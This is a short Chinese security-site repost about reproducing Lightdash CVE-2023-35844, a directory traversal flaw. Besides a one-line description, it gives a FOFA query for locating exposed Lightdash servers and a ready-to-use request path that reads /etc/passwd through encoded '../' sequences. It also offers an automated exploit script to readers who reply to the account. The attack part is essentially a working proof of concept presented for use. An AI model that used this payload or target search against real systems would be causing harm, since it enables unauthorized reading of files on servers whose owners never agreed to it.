[复现]Lightdash CVE-2023-35844

2023年6月27日13:55:55评论125 views字数 270阅读0分54秒阅读模式

简介

Lightdash 0.510.3之前版本中的Packages/Backend/src/Routers具有不安全的文件端点，例如，它们允许..目录遍历，并且不确保使用预期的文件扩展名(.csv或.png)。

fofa："Lightdash"

/api/v1/slack/image/slack-image%2F..%2F..%2F..%2Fetc%2Fpasswd

[复现]Lightdash CVE-2023-35844

[复现]Lightdash CVE-2023-35844

公众号回复CVE-2023-35844获得自动化脚本

原文始发于微信公众号（小白安全工具）：[复现]Lightdash CVE-2023-35844

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

本文由 admin 发表于 2023年6月27日13:55:55
转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
[复现]Lightdash CVE-2023-35844https://cn-sec.com/archives/1837155.html
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.